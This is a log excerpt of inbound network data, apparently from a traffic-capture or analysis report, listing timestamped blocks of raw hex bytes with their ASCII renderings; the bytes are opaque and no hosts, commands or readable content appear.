2023-05-10 00:21:17 UTC	3600	IN	Data Raw: c1 ac 09 8d 00 68 32 70 ae 78 92 19 ba 14 58 0b 1e 1f bc df 84 74 ec dc 10 5c 22 48 b8 d2 98 66 47 a0 b1 22 93 97 1c 84 9b ca b8 cc 2f 13 3e cc 0f 7d 9f 21 17 d2 01 95 8e f9 c7 84 06 ab 90 fc 8f 6e 18 f6 c6 2c eb 6f 6c 0c 78 97 2f c4 26 8a c9 69 69 28 f7 3a dc 83 c6 18 4f fa c6 33 8f e0 c5 90 5d cb 67 b5 1f 50 cd 22 5c 1e 02 3d 85 34 c1 c4 f1 22 4a ff eb 2a 9c 26 8d 7e d6 52 d6 14 08 6c 27 3b 85 b9 31 d3 0f 9f 73 91 52 60 f7 0f 81 c0 f6 a6 f6 59 5f 1e 88 48 22 40 83 32 b4 07 12 c6 b8 6e 4e fe 63 86 55 07 6d 35 d5 88 e4 02 5a 6f 01 b0 4b 6a bf 7c 67 61 1f 94 e7 2c bf 6f dd 0f 83 01 e4 96 6d 0e ac f1 fc 99 eb 38 19 16 cd 9c 81 73 92 a7 49 91 e7 2c c3 4f 3f 4e 55 07 d9 5f 28 1d 42 c3 79 c3 b9 8e 21 9d a6 5d ba a4 80 59 36 da 2f c4 bc 41 40 22 f3 cc 9e b9 7a Data Ascii: h2pxXt\"HfG"/>}!n,olx/&ii(:O3]gP"\=4"J*&~Rl';1sR`Y_H"@2nNcUm5ZoKj\|ga,om8sI,O?NU_(By!]Y6/A@"z
2023-05-10 00:21:17 UTC	3616	IN	Data Raw: 1e 95 19 79 0a ef 94 33 b3 64 2a 8b e9 d8 b5 41 5a fa 58 00 3a 27 62 57 c3 25 46 cf 50 96 26 77 46 d0 cf b8 e6 40 59 e3 8d 6f 56 8f 0d 1b 05 d7 d3 47 1e 3d a8 f8 0a 16 f1 81 01 57 7e 9a 26 54 aa 52 10 e5 6c 60 70 7f 6b e1 3f 18 ef c4 37 a9 e4 c1 47 79 65 dd d9 84 42 ef 1e b7 58 90 c9 51 ca ad df 5e 7a f2 61 fb 21 49 84 4b 0f c2 e4 86 27 08 70 18 d2 89 22 4f af 47 c5 5d 46 a6 fc 78 5f 38 0d a5 38 ab 9e ec c1 c8 e8 0b 45 16 06 7e 2a 80 b8 b3 cd 9d e2 a6 02 26 d2 b8 8b 18 ee 21 4f ff 3a 9d a2 71 0b ad 41 2d 2e af e0 76 45 ff b4 4b 23 e7 1d 1c a8 b3 a7 9e 68 52 f5 1d 4c 6a 51 9b 10 aa 04 47 99 c0 a2 29 08 d3 77 be 5b 0f d2 fc 94 10 40 eb 4a c8 6d 95 22 3e 0d 85 d5 8b 7b 98 04 61 29 02 b8 f1 bd d7 a2 fb 1a 91 1f b7 7e 02 be 05 ce 46 6f 0e ca 5e 83 19 fb 43 5d Data Ascii: y3dAZX:'bW%FP&wF@YoVG=W~&TRl`pk?7GyeBXQ^za!IK'p"OG]Fx_88E~&!O:qA-.vEK#hRLjQG)w[@Jm">{a)~Fo^C]
2023-05-10 00:21:17 UTC	3632	IN	Data Raw: af 38 cf 85 2a 23 b4 2a 82 9a 90 c5 ef e4 55 08 8e 9d 47 ec 92 6a 45 c0 f0 aa 18 27 8f 24 93 17 08 e5 22 f2 00 9b 6d 52 ac 7d f5 cf ff cf 61 f8 c9 0e 02 a7 08 f6 0b 50 96 d1 ad b2 8e 94 2c 35 de a4 d0 ea dc f9 3d 9c 57 01 e8 1b 3c ce 42 c2 2a 91 b6 71 23 34 cb 60 ca d3 a8 35 97 71 bc 13 4b 4b 98 1d ab ff a9 ec 38 f2 d0 bf df 79 94 69 77 ed 36 d5 7f d7 14 1e 5b ce bd 72 8a dd ee 46 e3 f0 66 c5 8b 9a 23 4f 96 fd 96 cf ae 50 64 f7 48 4f 85 86 b2 d2 c9 da f4 02 3f 10 c1 0d 68 85 83 e7 47 60 40 b0 95 79 ac 86 9e 91 5f 76 2b 10 c7 be b4 2d e2 fa 59 bc c3 fc 08 f8 ac 89 31 37 2c c9 a4 74 eb 6e eb 10 e2 2a 57 94 0a b4 c6 e3 83 d2 87 57 b3 a0 26 4b 43 de 2a 82 6a 83 70 ce e7 cf 24 ff 14 76 eb 17 98 5b 25 4a 20 30 23 63 9a 60 77 bd 1c ea 2a 50 1a 75 d1 1c e0 65 19 Data Ascii: 8#UGjE'$"mR}aP,5=W<Bq#4`5qKK8yiw6[rFf#OPdHO?hG`@y_v+-Y17,tnWW&KCjp$v[%J 0#c`wPue
2023-05-10 00:21:17 UTC	3648	IN	Data Raw: 6a 64 60 31 ae e3 65 b5 12 e9 ea 7a de 91 80 14 6e 00 06 f9 6d 3b 7b 73 97 fd 48 ba 9d 48 f2 3d 29 0c a7 bb d0 85 ca 2e ff 34 a8 50 09 19 f3 ba 20 31 23 88 fc aa ad b9 aa c1 43 df fb 82 73 78 9c a7 23 4b 78 8d 33 1f 7f 6f 8d c3 8a 72 f8 fb 13 3c 4c 5f df 2a d3 a8 b7 6b 5a 8e 13 f7 1d 2d c2 5e 88 cd e6 0d 9e 58 ac 42 a8 9d 03 29 8f 55 41 74 fe 76 47 83 dd 7e da 76 ab 9d 9a a1 73 69 13 fe 31 26 99 e7 1a 6a ea df c2 42 23 b4 23 19 a4 ac df 4b 49 24 1e 23 2c c6 da 45 c0 06 79 3f 0c f3 a3 1f 7a 7a 0d c0 c7 5b f3 51 b1 c6 c6 a6 2d db e2 04 ce 29 46 e3 85 c1 1c d7 2b 1f 14 e9 0c 9c 50 50 9e d6 c6 7d da 94 82 c5 62 43 62 50 ca ef 02 ae 69 cf 64 27 b7 5e df 0e 0d 7a 24 71 0e 7a d1 bd 00 1e 4f 98 a1 47 80 47 46 1d 45 6f 5c ce c5 fe e0 ee 05 33 63 0c 94 03 ba 9b 98 Data Ascii: jd`1eznm;{sHH=).4P 1#Csx#Kx3or<L_*kZ-^XB)UAtvG~vsi1&jB##KI$#,Ey?zz[Q-)F+PP}bCbPid'^z$qzOGGFEo\3c
2023-05-10 00:21:17 UTC	3664	IN	Data Raw: 64 3f 61 38 9c 92 27 c6 d6 19 17 bf 44 84 57 59 66 cc 90 14 73 10 da 6e e1 f9 c9 31 35 75 85 f2 ea 64 2b f8 82 97 0a 9d 80 9f fc 40 3f f9 36 5a 53 4e 4e 8a 12 5a 10 4e 09 aa 4a 1b 36 f8 a7 dc 7b 4e 55 f0 f2 0c c1 10 1a 99 62 af a3 0f 43 69 04 34 d7 21 c5 a8 d4 33 cf 14 92 b5 c8 c4 34 26 d2 c0 5c 85 a8 4c b1 c4 6f 57 ca b7 6b b6 20 07 83 d1 5d c0 0f df 61 d9 e3 5d d9 1b f9 d0 fa de f2 bb 2a ab a8 1a 18 58 9f b5 ef 19 3f e5 74 90 4a 8d 9a 44 7a 2f 8f c6 94 d7 60 ba b3 71 be 8f d2 c0 9e 89 97 fe 28 ff 10 79 e8 30 c2 4f 16 11 cc 79 d3 30 03 8b 24 4c a1 4a 18 63 92 8c 1e 5c ed e9 14 a4 c5 0a fc 82 94 17 a2 90 18 94 02 40 cb 85 b2 65 fa ee 3b f0 70 33 8c 34 22 c3 17 3a be cc 79 da 5b 37 5e fb 58 80 b7 2d c9 df 8c 21 2e 40 54 81 3f d2 a6 5a 53 20 b6 b3 fa 6c 0b Data Ascii: d?a8'DWYfsn15ud+@?6ZSNNZNJ6{NUbCi4!34&\LoWk ]a]*X?tJDz/`q(y0Oy0$LJc\@e;p34":y[7^X-!.@T?ZS l
2023-05-10 00:21:17 UTC	3680	IN	Data Raw: 32 e5 1d 15 54 6b 5c e1 ba f7 0f 62 15 a1 83 88 48 56 59 a0 3d b9 9c 07 30 ad c5 18 d8 83 53 83 8b 32 ae 0a fe b6 75 91 74 95 f9 20 c3 57 63 d1 f6 74 83 ea 76 01 7f 0e d1 83 b0 42 16 00 3f 81 bf 77 20 e5 1a df 37 b9 b5 fb 88 41 be 61 48 91 a9 a0 23 cd 36 ed 5f 45 30 d9 95 ed a6 38 ba 07 9f 10 fa b8 58 da da 9a 44 47 66 f4 a9 d8 16 3d 37 1b e8 39 be ff 2c db 22 d8 c0 a8 cd a7 6a ee cc e5 92 a6 61 8e f6 00 87 c8 ed 5f 05 ca 27 d3 a3 9c ad 85 6e 07 86 63 2c 5b 54 f0 e8 9f 97 bb e5 2f 89 35 5c 79 81 5f 2a 93 20 5c f3 37 14 2a 06 e3 ef 30 ab 37 45 ca 71 dc fe 4e 9b 6a d5 cc f3 5f 9c 15 d9 d0 e9 40 cd b8 68 e2 60 3f 83 33 5b 1a 22 eb 8a 85 2e 12 18 07 26 03 57 a8 67 84 68 c6 84 e0 1e 58 c4 c6 f9 dd 99 89 b0 e0 89 01 84 72 4a 1b f4 83 99 d4 c3 f7 a9 15 91 f4 5f Data Ascii: 2Tk\bHVY=0S2ut WctvB?w 7AaH#6_E08XDGf=79,"ja_'nc,[T/5\y_* \7*07EqNj_@h`?3[".&WghXrJ_
2023-05-10 00:21:17 UTC	3696	IN	Data Raw: 1a d2 6c 06 76 64 94 c0 ca e1 e8 64 3e f1 22 99 b5 20 71 2c bf 17 eb 72 a9 b3 f4 a8 20 f7 90 7d 23 78 71 a2 4f d9 7f 90 20 ca 17 41 fd 3a f3 17 de 7a bf 52 6c 22 83 8c 65 5d 0e 3d dd 56 fb de 4e 03 bd 1e 6f b2 ea fa 81 79 58 83 55 09 b7 0e 88 15 88 79 8d 40 a9 22 12 26 41 03 df 91 0f b7 b0 94 9e 67 91 eb ba 5e e4 8b b7 46 ea 13 79 4c 8c 3d f5 90 08 2a 04 c5 cd a4 3a 93 84 62 83 c7 48 72 be e8 21 1f 40 8b ae c2 b9 1d a0 47 04 7b 2e fe c7 2f b1 d5 56 51 c3 91 06 28 54 46 5b cf 76 8e e0 15 92 35 74 e0 c6 cc 4f 08 d1 41 b5 82 ac 99 d9 7b 6e ad 5d 4c 2d ee ff ed 65 f9 ed a6 7d 53 29 be 1b 54 4b bf fa 17 43 eb c4 33 a8 b1 1d d5 ba ae 2e 4f 7e 70 2c 6b bd c2 ec 6a f4 c9 8c bf 0f 6e bd 90 dc 49 3d 98 e8 01 dd e0 34 1c a8 95 0b e1 63 cc ae ab 9f a6 1a 8a 1a b4 62 Data Ascii: lvdd>" q,r }#xqO A:zRl"e]=VNoyXUy@"&Ag^FyL=*:bHr!@G{./VQ(TF[v5tOA{n]L-e}S)TKC3.O~p,kjnI=4cb
2023-05-10 00:21:17 UTC	3712	IN	Data Raw: 9e 21 b9 b2 65 c0 c8 49 56 b8 ff 3e 48 e2 6c 88 f4 26 d2 b6 60 14 af f8 a5 9f b1 75 a5 d6 70 c7 02 fd b5 d3 f8 dc 93 99 ef 7f b9 09 dd ab d0 51 92 f2 87 43 9a a5 6c 04 1e 2b 92 2a 2b ee 53 0d a9 60 84 82 c3 7d e2 12 97 68 54 14 af e4 93 d6 7f 28 4e 28 27 eb 05 92 a4 e7 c6 d1 08 81 0e d1 bc 77 0d 57 05 ca b7 6f 5c a0 91 58 c2 d0 93 c6 2c ce 50 66 e0 db 3c 7c b0 f2 97 fc 6e 30 77 52 cb 94 a8 d4 15 5b 93 f8 33 1b 6e c6 c8 3a 5b 6f 46 1c 8b 5b 52 5c 32 c0 d4 f3 a5 3f 3a de 87 c8 0b 63 c8 14 81 ae 07 84 7a 3e e6 b0 3c 4c 47 2f ab ae 71 df 7b 5f 05 36 4a 6d 1d 07 1d a2 d4 94 5d d7 2e 64 00 fc ca 7a 2d e5 cd ed 00 6f a5 22 2b f1 0c 23 f2 d4 dc 29 2a 49 a0 54 3c 90 fe 07 5e 6e c6 29 2b 44 6d a6 d5 34 36 dc f2 82 76 52 54 db a9 d7 1f 09 2e 73 b3 3f 40 c7 8b 51 87 Data Ascii: !eIV>Hl&`upQCl++S`}hT(N('wWo\X,Pf<\|n0wR[3n:[oF[R\2?:cz><LG/q{_6Jm].dz-o"+#)IT<^n)+Dm46vRT.s?@Q
2023-05-10 00:21:17 UTC	3728	IN	Data Raw: 87 45 e2 f5 bc 64 a3 4f 21 0f 58 4d 94 08 5f 45 14 45 6a 11 c7 bf 5a 41 68 2d 2d 6f f2 48 e4 68 ae 51 65 44 1e 91 92 de ce aa 41 35 5b 72 b3 28 f0 3a 55 42 f2 26 58 c5 34 9f 5b b1 30 d5 3a e7 79 c2 d7 31 8e 7e 35 20 00 08 a0 fe 96 99 f9 18 11 a5 93 8b cb 4b 07 56 55 60 b3 12 a0 bb 15 50 a1 95 27 dd 1d cf 0a 2e 91 96 a4 48 cb a3 6c 59 63 ef 3d e0 59 0d 44 b6 2a d7 2a f9 64 9d 20 ff f9 2e 78 e2 c8 e5 e1 d5 73 de 8c 11 b5 bc cb 65 c6 5b 17 af f2 b5 dd 37 d5 d8 22 19 bf e9 f2 3c 37 33 b6 21 fb c2 ac 25 32 51 bc 90 00 ac 6b 6e e0 45 f0 0d c5 58 5a c2 4d d6 e5 f2 7e 79 a0 80 19 f6 6d 73 3e 9a ab c8 da a7 b1 58 76 4b ec d6 83 80 53 09 ad ee cd 33 79 20 10 c9 2d 2b 47 21 cb a7 59 a4 b0 a1 da 0c f1 bd f7 04 5f 24 0e b1 8c 7a 9b 57 89 08 58 7f b3 33 49 97 e4 0a 6e Data Ascii: EdO!XM_EEjZAh--oHhQeDA5[r(:UB&X4[0:y1~5 KVU`P'.HlYc=YD**d .xse[7"<73!%2QknEXZM~yms>XvKS3y -+G!Y_$zWX3In
2023-05-10 00:21:17 UTC	3744	IN	Data Raw: 2b 22 92 43 3a 19 21 6a 82 c1 54 45 58 f1 cf ae b1 e3 5c b2 d2 56 31 46 67 65 6d 9c 84 71 d9 cc 3e e9 53 33 35 45 2d 9c b7 9b e0 3c 3e a3 b6 e5 d1 7e 41 07 f5 94 94 f2 6a 7b 87 9c 46 83 05 f9 37 ee a8 48 31 cb 38 c1 27 b2 7e 93 b3 88 a8 09 0d 32 f8 f2 31 43 10 92 4d 7e 15 6c d8 22 f2 ad ec e3 d4 d4 e8 52 3d b8 c9 cd 22 eb d9 1f bc 3d e2 d8 ef db 07 70 cd 2f 6a 54 fc 48 b9 9b ad ba a2 80 ae c4 da 2a 78 27 4d 2c b4 ef 66 c1 ee 19 35 02 e3 a0 aa 43 de 5e 6a 92 47 d9 70 74 9d 77 bd 1e 5f c6 af a1 52 d3 c1 69 2b 71 83 bd 3d 8a 3f ea 7f 15 bd 88 0f 83 fc 8d 32 70 a9 42 d3 15 ca af 73 f0 87 65 a2 f1 a4 d7 78 5a 14 f1 64 89 13 46 20 ed f1 82 99 cb 18 b0 a3 8d 83 d7 cb 2d cc 99 3a 6e a0 d5 13 68 13 d5 28 6b c9 f0 88 42 78 9a 46 28 23 0d 1d 20 35 5d 05 e1 de 09 3b Data Ascii: +"C:!jTEX\V1Fgemq>S35E-<>~Aj{F7H18'~21CM~l"R="=p/jTH*x'M,f5C^jGptw_Ri+q=?2pBsexZdF -:nh(kBxF(# 5];
2023-05-10 00:21:17 UTC	3760	IN	Data Raw: 11 35 81 2a a7 a5 98 5b ed c4 d8 6a 43 39 3e 6d 45 78 f5 6b 8f ed 73 32 ce d2 bf 0b 15 f7 78 5c ac 41 e2 95 d2 b9 84 e6 53 4a cb 45 ee 58 2e 98 7a 63 c3 61 f6 37 23 33 43 6c b7 13 fc 89 a9 0e 36 8f 0c 8f 2a 96 e6 d8 ec 9a e6 5c b3 cc 4e 99 d6 f0 70 e2 73 be fc 6b 46 13 a7 1b bc b7 01 13 cc 54 28 9c 83 e7 4e c3 02 ef cb bd d0 1c d3 f9 f1 d5 df 7a 0d b4 3d 01 e0 21 eb 50 8f 86 f7 ec 4f a3 b3 c6 ce 55 70 d1 c1 87 0f 09 29 7a e8 d5 c8 2f 3e ca 90 0b eb a3 8e c5 97 c7 72 fb 51 e4 30 32 10 0f 88 5b 5e 57 46 a0 64 72 93 c4 0e 31 ff e0 a7 1c 08 17 35 fb 7c 89 5c 9c 1c d5 f3 b0 5f c1 7f 98 1b 24 d9 ea fc 4a 1e af cc 81 3e 20 44 71 2e f2 fa 71 b3 1f df aa 93 56 9f 3a d2 34 ae d2 fa ec 9d 13 2a 0f 8e f1 a3 87 12 98 a0 19 46 09 f3 38 18 4a 38 ec ab 1b c5 89 9c fa 01 Data Ascii: 5[jC9>mExks2x\ASJEX.zca7#3Cl6\NpskFT(Nz=!POUp)z/>rQ02[^WFdr15\|\_$J> Dq.qV:4*F8J8
2023-05-10 00:21:17 UTC	3776	IN	Data Raw: 8c e3 92 d2 df e6 d5 14 8e 47 bb 53 bf 42 28 03 ab ff 9b 95 07 5a f7 76 33 7e 7f be 0a 09 93 6b 1f eb 1b 46 27 3c 53 ee 9a df 9d 93 d3 9c 15 f9 6b c7 e1 bc d4 87 db 9a a6 aa d7 87 bb 82 61 df 9d 83 92 f3 a3 d4 f0 ac 50 de 1b fb 17 56 d8 7f 3a b1 91 d7 33 60 7d dd 7c df 0f 3a 10 f0 34 68 69 4d 7d 8c 54 e9 e0 18 76 ad 93 65 8b e3 21 89 33 44 a3 9b 0c 20 80 b2 7c e1 f1 fb 11 af 0f 81 d7 18 04 93 49 3f b2 f4 52 75 e8 0c 78 92 36 d9 43 d3 29 4c fd 1e ff b6 82 d8 cb 64 ef a2 08 5b c4 c7 05 32 3c a8 88 4b 99 38 28 7a 43 d2 10 58 44 05 44 83 5f d7 8f 42 be 6a 3e a2 0e b0 a8 36 e7 df a4 a8 c3 4f 5e 64 69 90 a4 da 6c 94 df d4 e9 d1 45 31 a2 70 19 08 ea 00 41 ac 86 d3 fc 59 e3 a2 b3 c8 9f 45 6c fa d8 09 5e 03 d1 26 46 11 c0 e6 00 17 ab 37 65 df 62 61 86 e2 ad e8 2b Data Ascii: GSB(Zv3~kF'<SkaPV:3`}\|:4hiM}Tve!3D \|I?Rux6C)Ld[2<K8(zCXDD_Bj>6O^dilE1pAYEl^&F7eba+
2023-05-10 00:21:17 UTC	3792	IN	Data Raw: 45 5c 0a 07 ba 9c 5e 43 20 d1 9e 33 2c 8e 96 53 13 ad 5b 1d 2e 16 ca 40 3e 28 9f eb 5d 4d 71 2f a5 9d c5 b3 ff 5b 59 ae 4d c9 37 52 da 03 12 41 27 67 cf 6b b1 f8 38 d1 94 f7 6d fc 06 49 d4 35 64 ff 8e 10 4e 1d 0a bc 17 35 bd 84 b5 6c fd d6 d9 8e 8f ff 57 35 ca 26 83 f9 d6 ff 32 a0 15 ed 37 f3 f5 48 a2 09 17 58 66 93 dd 3d 58 31 00 71 62 9a 61 9f 1b 2a d0 b5 fe 2a 0a 3f c3 57 8c ea ef 2b 93 cf d6 e3 34 0c e5 10 e1 4c 67 37 1c b8 f7 af 52 24 12 75 8d 74 19 7a 0d 42 1c 8f aa bd e1 93 66 72 95 10 bb 57 93 2c 69 9b 2a 22 8f ca a2 56 b0 6a d3 c8 c6 e1 7b 3a 7a 50 96 85 25 2a a6 83 fe f8 2c 76 bf 6b e3 cf 4c 9b eb dd 7c 5d 99 ee 80 86 ea 28 07 85 fe 7a 59 1d cf a1 43 5c 97 a7 1a e1 db 79 da 64 4b d5 d3 f4 04 11 9e 88 40 ca 2d a7 f3 c3 8b db 21 3f ae 52 eb 66 48 Data Ascii: E\^C 3,S[.@>(]Mq/[YM7RA'gk8mI5dN5lW5&27HXf=X1qba*?W+4Lg7R$utzBfrW,i"Vj{:zP%*,vkL\|](zYC\ydK@-!?RfH
2023-05-10 00:21:17 UTC	3808	IN	Data Raw: 30 8a 25 97 54 74 d8 5d 69 eb 05 a0 41 c2 08 1d 3e 05 6c 3f fb 7d f5 cd df b5 00 ff 7b 0e e6 70 04 2d 00 31 b3 8f ef 36 06 f9 c3 d5 7b 80 f4 f3 75 63 a7 d9 91 f3 7f 8e 5b 7c 76 6c d6 cf 93 27 54 1b 62 ee db 02 5b a8 f8 27 d3 b1 91 92 bc c4 cc b1 c2 28 b2 a5 f9 57 b8 6e 32 3e f7 dd 2f 13 6b 0c 48 1f 60 10 06 5f 51 7b bc 3e d0 e8 67 42 9a 85 4f 78 8b ea 9d cf 65 5b 30 be 9f 3e fa 30 fe 94 23 53 b4 cc 79 3b 25 0b 4a 71 90 8d 39 64 01 4b 7a 17 51 01 31 f8 5d 92 7a d2 fa 18 3f 60 3b e2 88 0b d1 71 19 01 4a fc 30 7b ed cd 84 e2 ca fb e8 84 db 1e 37 0c 83 9d 23 28 7f 35 ac c1 6e 6a 56 fc 7d 0c 17 dd ea c5 29 76 55 25 3c 6b db 49 29 2b c2 48 6b b2 f5 a5 43 5d 16 40 fc 01 c8 d7 b1 01 e0 fd 6c 02 61 0c b9 52 70 1f 93 9c 3b b1 9e 3e 6b 27 57 14 90 45 c2 bc 83 03 86 Data Ascii: 0%Tt]iA>l?}{p-16{uc[\|vl'Tb['(Wn2>/kH`_Q{>gBOxe[0>0#Sy;%Jq9dKzQ1]z?`;qJ0{7#(5njV})vU%<kI)+HkC]@laRp;>k'WE
2023-05-10 00:21:17 UTC	3824	IN	Data Raw: 76 69 20 62 d7 1e a7 84 89 63 e2 72 86 03 1c 94 86 0c 2f 9b 28 6c 1b 21 fe f2 2b 9c cf 0a 93 bf 5c 16 c4 d5 49 da 94 41 34 00 66 91 c3 b1 e4 9f 1e b6 5a 53 24 4f 18 d2 2f 8e c2 58 ff 33 59 dd 36 05 87 bc aa 2e e0 f1 d0 9d 07 c7 c2 21 7e 40 d2 46 fc 6a 3a 14 51 2f 5b d2 62 ae 7c 62 fb f1 c9 7d bb f9 fe b6 c5 ad c6 d0 42 84 0b 6d 23 55 89 ab da 74 54 d4 3a 86 c8 b2 b0 61 6c 02 f0 f4 08 68 65 46 f0 5e 3d f3 f6 a6 62 12 07 4e bb 13 b7 44 e3 42 f6 26 14 79 cb a3 9f 96 39 bb 35 9d f9 38 0e cb 57 11 a2 f9 cf fd 34 f2 cd 77 67 d7 f8 60 6c 38 5c ff 9a 19 bd 08 36 8a 61 c8 b3 1c df d5 32 bf 1e f4 34 9c 97 3d 87 58 82 3a 4b 33 e7 df 4d 72 27 7b 31 66 42 ab 41 13 7a 29 cd a1 54 3a 82 b6 2e 36 2e e2 8a 4a 75 e6 f4 79 33 18 54 d7 1f 57 f6 a7 4a e4 7d 59 6a 29 88 0a 4b Data Ascii: vi bcr/(l!+\IA4fZS$O/X3Y6.!~@Fj:Q/[b\|b}Bm#UtT:alheF^=bNDB&y958W4wg`l8\6a24=X:K3Mr'{1fBAz)T:.6.Juy3TWJ}Yj)K
2023-05-10 00:21:17 UTC	3840	IN	Data Raw: a6 01 af 2d 03 de a7 51 c7 a6 0b 9f 3e ba b6 9e ff 0e e5 7b c4 4b 2b c7 6a 44 35 a7 bd 25 b1 e0 a0 24 ef 2b 66 96 7d dd 6e 92 80 01 d2 62 62 e8 1c 11 8e 22 5b fc 49 bf d8 d0 e3 c1 42 10 9e b6 d5 cf 25 09 74 ee e6 a5 61 8d af ac 3a 54 aa 87 5f c0 fc 0a 61 5f 90 ef 9e e4 ed d6 67 7c 83 45 67 26 f0 5f 9a b1 07 95 3b f8 bc b9 50 40 be aa b6 7f 80 5a 2a e0 c5 ca a0 13 2a 45 ee e9 20 c0 78 b9 ec 0d 1c d5 90 80 bc cc ee 31 e5 de 24 ac b6 11 80 e0 b5 a0 45 c6 e8 08 27 e5 19 97 98 26 f7 56 28 05 44 0b 90 9f a3 dc ff 3c 3f 21 15 63 23 d5 b7 cd 64 72 d7 27 da 17 95 2b eb 70 1a cd b7 07 b6 74 12 d4 8f af a6 05 fa b9 e1 9f 48 90 77 b2 6d 78 cc ab a4 0c 58 8c d2 c1 ab a5 92 0f 77 33 db 58 09 70 01 d4 e6 99 5c 41 37 94 64 f2 be df 39 69 f0 6a 08 23 f2 ad c8 1a 3a 1c 7b Data Ascii: -Q>{K+jD5%$+f}nbb"[IB%ta:T_a_g\|Eg&_;P@Z**E x1$E'&V(D<?!c#dr'+ptHwmxXw3Xp\A7d9ij#:{
2023-05-10 00:21:17 UTC	3856	IN	Data Raw: d1 73 b8 c6 a5 78 bc 91 7b 49 7a 23 66 c4 6f 95 97 aa ea 11 84 9a aa 27 78 37 15 73 77 ae 0d a2 fb 46 47 bf b1 c5 c9 2d 1c 59 4f cf d7 19 3b 88 cc 31 e6 e8 d4 a6 69 30 e6 20 98 7d 4a fa 68 a1 59 ce fd 94 b6 9d 41 03 25 67 dd 1c 74 23 ab 64 86 07 e7 d9 b9 95 1b a9 3d 65 8c 8b 6e 04 ae 3d 7b 28 59 df ea 93 9b 27 bc a0 91 0f 30 b3 29 04 db 3e d7 57 9b 1e ac 7a 15 f2 eb 00 30 74 9b e9 7b 93 37 05 55 53 51 b2 b1 1a 31 1c b4 5d 2d 8f 54 f7 cd df 89 98 de 35 60 06 12 a8 16 75 dd a8 13 4e f4 8c 61 84 d2 f3 20 92 8e fb 87 08 69 ff 5d 4c 04 c6 fd 20 14 7f bb 91 c7 6a 93 38 c8 10 6f 58 5b dd 9d a8 a6 7d 62 0f ff 94 57 09 a6 c0 71 6d 87 39 31 db 6f f4 8e 11 d2 5e b1 13 39 f7 b6 c3 99 e0 91 55 13 3a 0b 27 7d 9f 91 4f bf 5f 7c 0d aa 31 82 ca e3 b0 39 9f 2d 89 f3 4a 8c Data Ascii: sx{Iz#fo'x7swFG-YO;1i0 }JhYA%gt#d=en={(Y'0)>Wz0t{7USQ1]-T5`uNa i]L j8oX[}bWqm91o^9U:'}O_\|19-J
2023-05-10 00:21:17 UTC	3872	IN	Data Raw: 94 4c 20 98 09 41 f7 f3 cf 50 05 2c 05 71 01 df c9 4c dd 55 ca 55 88 86 68 4a 9b e3 e1 b7 f7 d2 e1 2e 57 2f 30 cf ad 9c 4d 76 9a d5 89 a0 59 36 31 5a a4 77 57 43 cd bc 45 d8 5c 9f b3 72 18 04 a6 51 9b 95 f2 f4 37 d6 f4 74 c5 b1 93 5b 03 4c b0 52 01 af 46 37 46 a2 0f 58 4c 24 e0 1b 30 b0 62 b6 df b0 c0 9a 0d 7a 0f 54 c8 50 93 cc 04 03 16 61 32 b9 a9 b8 0c 28 c7 3a 19 ff d7 cb b6 cf 32 1a 38 9f 97 b1 1e 8d 52 8d 2c dc 35 db 48 49 2a 2c 28 10 dd 42 59 e5 4c ec 10 99 e9 2f 69 47 36 9c f9 8e 3e 54 d0 70 a3 a1 6e 92 58 a0 0a 0e 89 28 09 12 2c 8d c0 2a 15 4e c4 94 cc 93 0b 6c ee 69 0f 59 5c a0 99 f8 01 b7 9e 6a 91 e9 2f b8 3a a0 c2 8b d5 6a f5 7b a3 2b 64 b0 84 ce 86 2e 6e de 27 45 b7 e6 18 1c a0 ad 5f 20 fb f6 39 ff ea 60 08 76 05 ad 12 90 71 29 44 6d 27 6d 03 Data Ascii: L AP,qLUUhJ.W/0MvY61ZwWCE\rQ7t[LRF7FXL$0bzTPa2(:28R,5HI,(BYL/iG6>TpnX(,NliY\j/:j{+d.n'E_ 9`vq)Dm'm
2023-05-10 00:21:17 UTC	3888	IN	Data Raw: 2a 3e da 4e 6b 30 0b 9b d4 1c 9c 82 2f fc e7 11 80 a2 af c9 76 5e 3a b1 13 6c 19 dd 9c 75 02 9b 24 f8 72 f8 a4 8f 59 c0 73 d0 f9 27 e3 ad 01 28 70 de e5 4a ba 17 90 0a 16 57 e6 14 c1 fb 17 32 5a 11 a2 ac 2c af 7f 25 3d bf 56 78 e4 b0 f4 fa 63 77 80 c8 17 30 54 61 16 fd 54 6a 72 d7 0b 24 2a aa 10 f2 7e 51 53 66 20 81 eb cd aa c3 f0 13 4a 33 91 11 6d b5 c2 a1 2e 98 4a 5c cf ac 87 05 1d 4f 8b e4 bd f0 e3 51 21 a0 b7 da c0 38 17 ef de a6 f4 a7 1a 1a c0 34 8f 0d 2f 53 ce a8 a8 5e 7c 56 61 04 af e2 88 b4 28 80 b3 6c 68 a5 d1 c4 65 9b e6 2d 1d 26 ec 5a f8 21 8f 3b dd 2d 02 ac a6 49 7f 41 f9 5a 36 9b 85 b6 93 5d 45 88 35 57 66 54 8d 82 84 f7 c2 79 ed 2a de 2e 79 d0 85 78 f8 f6 8e 66 f5 34 c1 23 ac 8e 0e 45 43 8d 33 61 02 3e 23 87 c1 9c 79 df ad 04 e6 44 a1 1a 45 Data Ascii: >Nk0/v^:lu$rYs'(pJW2Z,%=Vxcw0TaTjr$~QSf J3m.J\OQ!84/S^\|Va(lhe-&Z!;-IAZ6]E5WfTy*.yxf4#EC3a>#yDE
2023-05-10 00:21:17 UTC	3904	IN	Data Raw: ff a9 32 40 5e 5c 5b 1a 83 7e 11 7f a0 e6 de f8 88 9b a6 cf 6c 7d 25 81 ce 71 0c 96 29 b2 a0 af 58 8f 08 86 33 d6 1d 05 46 a4 21 f4 46 46 08 ca 91 07 3d 04 7a ab f7 da 4b ca be 10 94 bf bd d9 4e 48 23 23 39 95 ad 30 c0 34 08 ac f4 91 ee 52 3c b1 79 c7 23 92 27 e9 7d cc de 73 07 7d cb ff 64 2f 13 60 36 d0 7b a5 c8 0e 1a 89 9a 05 a9 f0 f1 78 aa e8 a3 e5 25 40 8d 02 91 e5 78 47 b1 16 63 d8 92 48 2f 14 74 df 79 b8 83 72 61 5c 2c 91 8a 40 6f 8c 60 b3 1d 59 3f 02 a1 ac e7 04 3d ee 85 e9 02 b6 49 44 f5 20 67 b0 d7 41 fc cf e1 2d f6 db 19 96 e6 1d 30 19 65 a6 16 23 3a a1 c6 c2 7e 1a 58 53 22 9a 86 06 26 45 67 e9 8c 0c 4b 5f 97 de 43 0c df 06 18 07 a3 bc a1 67 f4 58 61 cf 54 0a 43 97 f4 e5 74 48 d2 fa 6d 23 87 6b 38 b0 c0 d3 e2 11 71 10 df 3a 0a 71 ea dd 99 b5 39 Data Ascii: 